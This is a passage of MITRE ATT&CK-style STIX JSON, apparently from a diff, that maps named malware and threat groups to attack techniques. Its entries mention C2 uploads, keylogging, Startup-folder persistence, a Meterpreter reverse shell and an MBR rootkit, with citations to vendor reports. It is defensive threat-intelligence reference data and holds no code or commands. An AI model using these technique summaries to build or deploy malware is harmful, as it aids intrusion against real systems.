"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Sys10](https://attack.mitre.org/software/S0060) collects the local IP address of the victim and sends it to the C2.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--bb2ba4b6-d96a-4d66-ac13-aa657108b363", + "external_references": [ + { + "source_name": "Baumgartner Naikon 2015", + "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf" + } + ], + "modified": "2019-05-03T16:44:41.815Z", + "source_ref": "malware--7f8730af-f683-423f-9ee1-5f6875a80481", + "relationship_type": "uses", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[POWERSTATS](https://attack.mitre.org/software/S0223) can upload files from compromised hosts.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9dcc9cb1-d489-42ab-b647-3a492c04c114", + "external_references": [ + { + "source_name": "FireEye MuddyWater Mar 2018", + "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html" + } + ], + "modified": "2019-04-22T22:36:53.187Z", + "source_ref": "malware--e8545794-b98c-492b-a5b3-4b5a02682e37", + "relationship_type": "uses", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[KOMPROGO](https://attack.mitre.org/software/S0156) is capable of retrieving information about the infected system.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--42dc03ec-03fb-4bf0-8f5f-e90d1aacd6e7", + "external_references": [ + { + "source_name": "FireEye APT32 May 2017", + "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--7dbb67c7-270a-40ad-836e-c45f8948aa5a", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Proxysvc](https://attack.mitre.org/software/S0238) lists files in directories.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--77270a5a-c2e7-4cf0-8d73-129758454bcc", + "external_references": [ + { + "source_name": "McAfee GhostSecret", + "description": "Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/" + } + ], + "modified": "2019-04-22T22:40:41.326Z", + "source_ref": "malware--069af411-9b24-4e85-b26c-623d035bbe84", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Smoke Loader](https://attack.mitre.org/software/S0226) adds a Visual Basic script in the Startup folder to deploy the payload.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4287de65-be1d-44aa-9c50-9c391e321597", + "external_references": [ + { + "source_name": "Malwarebytes SmokeLoader 2016", + "description": "Hasherezade. (2016, September 12). Smoke Loader \u2013 downloader with a smokescreen still alive. Retrieved March 20, 2018.", + "url": "https://blog.malwarebytes.com/threat-analysis/2016/08/smoke-loader-downloader-with-a-smokescreen-still-alive/" + } + ], + "modified": "2019-06-24T19:07:12.672Z", + "source_ref": "malware--0c824410-58ff-49b2-9cf2-1c96b182bdf0", + "relationship_type": "uses", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "The initial beacon packet for [Mis-Type](https://attack.mitre.org/software/S0084) contains the operating system version and file system of the victim.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--aeda6707-50e2-47e2-833a-18e4a5d73e88", + "external_references": [ + { + "source_name": "Cylance Dust Storm", + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--e1161124-f22e-487f-9d5f-ed8efc8dcd61", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Derusbi](https://attack.mitre.org/software/S0021) beacons to destination port 443.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--bd315928-0b74-491c-b526-ee5e1841842b", + "external_references": [ + { + "source_name": "Fidelis Turbo", + "description": "Fidelis Cybersecurity. (2016, February 29). The Turbo Campaign, Featuring Derusbi for 64-bit Linux. Retrieved March 2, 2016.", + "url": "https://www.fidelissecurity.com/sites/default/files/TA_Fidelis_Turbo_1602_0.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--94379dec-5c87-49db-b36e-66abc0b81344", + "relationship_type": "uses", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[OopsIE](https://attack.mitre.org/software/S0264) can upload files from the victim's machine to its C2 server.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--fbf22973-f91d-440a-9559-65bc2d8e3739", + "external_references": [ + { + "source_name": "Unit 42 OopsIE! Feb 2018", + "description": "Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/" + } + ], + "modified": "2019-04-24T23:40:23.554Z", + "source_ref": "malware--8e101fdd-9f7f-4916-bb04-6bd9e94c129c", + "relationship_type": "uses", + "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[OLDBAIT](https://attack.mitre.org/software/S0138) installs itself in %ALLUSERPROFILE%\\\\Application Data\\Microsoft\\MediaPlayer\\updatewindws.exe; the directory name is missing a space and the file name is missing the letter \"o.\"", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3a241a6c-11ee-4abc-a551-b5d4e594aad4", + "external_references": [ + { + "source_name": "FireEye APT28", + "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--2dd34b01-6110-4aac-835d-b5e7b936b0be", + "relationship_type": "uses", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[VERMIN](https://attack.mitre.org/software/S0257) is obfuscated using the obfuscation tool called ConfuserEx.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a0bf84db-5482-4bc2-a53f-46d988e4f688", + "external_references": [ + { + "source_name": "Unit 42 VERMIN Jan 2018", + "description": "Lancaster, T., Cortes, J. (2018, January 29). VERMIN: Quasar RAT and Custom Malware Used In Ukraine. Retrieved July 5, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--5189f018-fea2-45d7-b0ed-23f9ee0a46f3", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[iKitten](https://attack.mitre.org/software/S0278) collects the keychains on the system.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f5cf9158-6f25-4167-8263-5a356bf816b9", + "external_references": [ + { + "source_name": "objsee mac malware 2017", + "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", + "url": "https://objective-see.com/blog/blog_0x25.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--2cfe8a26-5be7-4a09-8915-ea3d9e787513", + "relationship_type": "uses", + "target_ref": "attack-pattern--9e09ddb2-1746-4448-9cad-7f8b41777d6d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[QUADAGENT](https://attack.mitre.org/software/S0269) used the PowerShell filenames Office365DCOMCheck.ps1 and SystemDiskClean.ps1.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--86b103ec-dfa0-4c0a-ad96-b885345b4711", + "external_references": [ + { + "source_name": "Unit 42 QUADAGENT July 2018", + "description": "Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--7e6c2a9d-9dc1-4eb0-b27c-91e8076a9d77", + "relationship_type": "uses", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Kasidet](https://attack.mitre.org/software/S0088) has the ability to search for a given process name in processes currently running in the system.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4d90fd9d-9f9b-45f8-986d-3db43b679905", + "external_references": [ + { + "source_name": "Zscaler Kasidet", + "description": "Yadav, A., et al. (2016, January 29). Malicious Office files dropping Kasidet and Dridex. Retrieved March 24, 2016.", + "url": "http://research.zscaler.com/2016/01/malicious-office-files-dropping-kasidet.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--26fed817-e7bf-41f9-829a-9075ffac45c2", + "relationship_type": "uses", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T12:34:42.436Z", + "type": "relationship", + "id": "relationship--243bf0fe-68eb-4d82-bbbf-d551611a0cd8", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.025Z", + "source_ref": "course-of-action--308855d1-078b-47ad-8d2a-8f9b2713ffb5", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--ffe742ed-9100-4686-9e00-c331da544787" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Wiarp](https://attack.mitre.org/software/S0206) creates a backdoor through which remote attackers can download files.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0f7e7dc5-ea9c-4d9e-9acd-5fa0dd25910a", + "external_references": [ + { + "source_name": "Symantec Wiarp May 2012", + "description": "Zhou, R. (2012, May 15). Backdoor.Wiarp. Retrieved February 22, 2018.", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051606-1005-99" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--039814a0-88de-46c5-a4fb-b293db21880a", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Shamoon](https://attack.mitre.org/software/S0140) can download an executable to run on the victim.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3ded5760-4f2e-41f5-a2c5-f2b39eaf5733", + "external_references": [ + { + "source_name": "Palo Alto Shamoon Nov 2016", + "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/" + } + ], + "modified": "2019-04-24T23:59:16.369Z", + "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[TinyZBot](https://attack.mitre.org/software/S0004) contains keylogger functionality.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d8f5283b-fe44-4206-8a7d-393d216beb7e", + "external_references": [ + { + "source_name": "Cylance Cleaver", + "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.", + "url": "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--c0c45d38-fe57-4cd4-b2b2-9ecd0ddd4ca9", + "relationship_type": "uses", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FIN7](https://attack.mitre.org/groups/G0046) malware has created Registry Run and RunOnce keys to establish persistence, and has also added items to the Startup folder.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--74859e2a-7a8f-4b87-b75c-7286b3de685c", + "external_references": [ + { + "source_name": "FireEye FIN7 April 2017", + "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html" + }, + { + "source_name": "FireEye FIN7 Aug 2018", + "description": "Carr, N., et al. (2018, August 01). On the Hunt for FIN7: Pursuing an Enigmatic and Evasive Global Criminal Operation. Retrieved August 23, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html" + } + ], + "modified": "2019-06-30T23:13:18.530Z", + "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Patchwork](https://attack.mitre.org/groups/G0040) ran a reverse shell with Meterpreter.", + "type": "relationship", + "created": "2017-05-31T21:33:27.075Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c5da001c-2c17-4e83-8e5c-21863ead4bd9", + "external_references": [ + { + "source_name": "Cymmetria Patchwork", + "description": "Cymmetria. (2016). Unveiling Patchwork - The Copy-Paste APT. Retrieved August 3, 2016.", + "url": "https://s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling_Patchwork.pdf" + } + ], + "modified": "2019-07-11T13:53:06.085Z", + "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BUBBLEWRAP](https://attack.mitre.org/software/S0043) can communicate using HTTP or HTTPS.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2b2cdb6b-c23c-4792-8cfb-8c4d9279a186", + "external_references": [ + { + "source_name": "FireEye admin@338", + "description": "FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.", + "url": "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--123bd7b3-675c-4b1a-8482-c55782b20e2b", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Flame](https://attack.mitre.org/software/S0143) contains modules to infect USB sticks and spread laterally to other Windows systems the stick is plugged into using Autorun functionality.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--00b0af92-df59-4d56-ac3e-18f6f1f72957", + "external_references": [ + { + "source_name": "Kaspersky Flame", + "description": "Gostev, A. (2012, May 28). The Flame: Questions and Answers. Retrieved March 1, 2017.", + "url": "https://securelist.com/the-flame-questions-and-answers-51/34344/" + } + ], + "modified": "2019-06-06T14:35:54.017Z", + "source_ref": "malware--ff6840c9-4c87-4d07-bbb6-9f50aa33d498", + "relationship_type": "uses", + "target_ref": "attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "The OsInfo function in [Komplex](https://attack.mitre.org/software/S0162) collects the current running username.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--707d131d-39ff-4ea0-a8ef-63dd7ca2a854", + "external_references": [ + { + "source_name": "Sofacy Komplex Trojan", + "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--f108215f-3487-489d-be8b-80e346d32518", + "relationship_type": "uses", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PowerSploit](https://attack.mitre.org/software/S0194)'s Invoke-WmiCommand CodeExecution module uses WMI to execute and retrieve the output from a [PowerShell](https://attack.mitre.org/techniques/T1086) payload.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2d2ebfcb-0b2c-4c69-877e-2ca633c95a17", + "external_references": [ + { + "source_name": "GitHub PowerSploit May 2012", + "description": "PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.", + "url": "https://github.com/PowerShellMafia/PowerSploit" + }, + { + "source_name": "PowerSploit Documentation", + "description": "PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018.", + "url": "http://powersploit.readthedocs.io" + } + ], + "modified": "2019-04-24T23:43:08.265Z", + "source_ref": "tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d", + "relationship_type": "uses", + "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[SPACESHIP](https://attack.mitre.org/software/S0035) achieves persistence by creating a shortcut in the current user's Startup folder.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--689c51b8-7e41-474e-abf6-ffdde0acc40b", + "external_references": [ + { + "source_name": "FireEye APT30", + "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--8b880b41-5139-4807-baa9-309690218719", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[VERMIN](https://attack.mitre.org/software/S0257) collects keystrokes from the victim machine.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3dde25bf-03e8-4842-94cd-d596688c44d9", + "external_references": [ + { + "source_name": "Unit 42 VERMIN Jan 2018", + "description": "Lancaster, T., Cortes, J. (2018, January 29). VERMIN: Quasar RAT and Custom Malware Used In Ukraine. Retrieved July 5, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--5189f018-fea2-45d7-b0ed-23f9ee0a46f3", + "relationship_type": "uses", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[SynAck](https://attack.mitre.org/software/S0242) parses the export tables of system DLLs to locate and call various Windows API functions.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--699e964d-b8c8-46fd-bd2d-9787433ab077", + "external_references": [ + { + "source_name": "SecureList SynAck Doppelg\u00e4nging May 2018", + "description": "Ivanov, A. et al.. (2018, May 7). SynAck targeted ransomware uses the Doppelg\u00e4nging technique. Retrieved May 22, 2018.", + "url": "https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/" + }, + { + "source_name": "Kaspersky Lab SynAck May 2018", + "description": "Bettencourt, J. (2018, May 7). Kaspersky Lab finds new variant of SynAck ransomware using sophisticated Doppelg\u00e4nging technique. Retrieved May 24, 2018.", + "url": "https://usa.kaspersky.com/about/press-releases/2018_synack-doppelganging" + } + ], + "modified": "2019-07-26T23:00:57.652Z", + "source_ref": "malware--04227b24-7817-4de1-9050-b7b1b57f5866", + "relationship_type": "uses", + "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Gorgon Group](https://attack.mitre.org/groups/G0078) has used macros in [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193)s as well as executed VBScripts on victim machines.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f623affb-f6e8-4c32-a44f-8835fff92c59", + "external_references": [ + { + "source_name": "Unit 42 Gorgon Group Aug 2018", + "description": "Falcone, R., et al. (2018, August 02). The Gorgon Group: Slithering Between Nation State and Cybercrime. Retrieved August 7, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/" + } + ], + "modified": "2019-07-25T14:56:46.802Z", + "source_ref": "intrusion-set--1f21da59-6a13-455b-afd0-d58d0a5a7d27", + "relationship_type": "uses", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[4H RAT](https://attack.mitre.org/software/S0065) has the capability to obtain file and directory listings.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--26968975-5f01-4b4b-9cdc-ef3b76710304", + "external_references": [ + { + "source_name": "CrowdStrike Putter Panda", + "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.", + "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--8e461ca3-0996-4e6e-a0df-e2a5bbc51ebc", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Some [FinFisher](https://attack.mitre.org/software/S0182) variants incorporate an MBR rootkit.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--753093c1-6586-4a17-9068-25648111ef33", + "external_references": [ + { + "source_name": "FinFisher Citation", + "description": "FinFisher. (n.d.). Retrieved December 20, 2017.", + "url": "http://www.finfisher.com/FinFisher/index.html" + }, + { + "source_name": "Microsoft FinFisher March 2018", + "description": "Allievi, A.,Flori, E. (2018, March 01). FinFisher exposed: A researcher\u2019s tale of defeating traps, tricks, and complex virtual machines. Retrieved July 9, 2018.", + "url": "https://cloudblogs.microsoft.com/microsoftsecure/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/" + } + ], + "modified": "2019-07-14T21:44:44.390Z", + "source_ref": "malware--a5528622-3a8a-4633-86ce-8cdaf8423858", + "relationship_type": "uses", + "target_ref": "attack-pattern--02fefddc-fb1b-423f-a76b-7552dd211d4d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[OopsIE](https://attack.mitre.org/software/S0264) checks to see if the system is configured with \"Daylight\" time and checks for a specific region to be set for the timezone.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--db4fbefd-e9ed-495a-89af-67c4b6780508", + "external_references": [ + { + "source_name": "Unit 42 OilRig Sept 2018", + "description": "Falcone, R., et al. (2018, September 04). OilRig Targets a Middle Eastern Government and Adds Evasion Techniques to OopsIE. Retrieved September 24, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/" + } + ], + "modified": "2019-04-24T23:40:23.559Z", + "source_ref": "malware--8e101fdd-9f7f-4916-bb04-6bd9e94c129c", + "relationship_type": "uses", + "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Socksbot](https://attack.mitre.org/software/S0273) can write and execute PowerShell scripts.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + 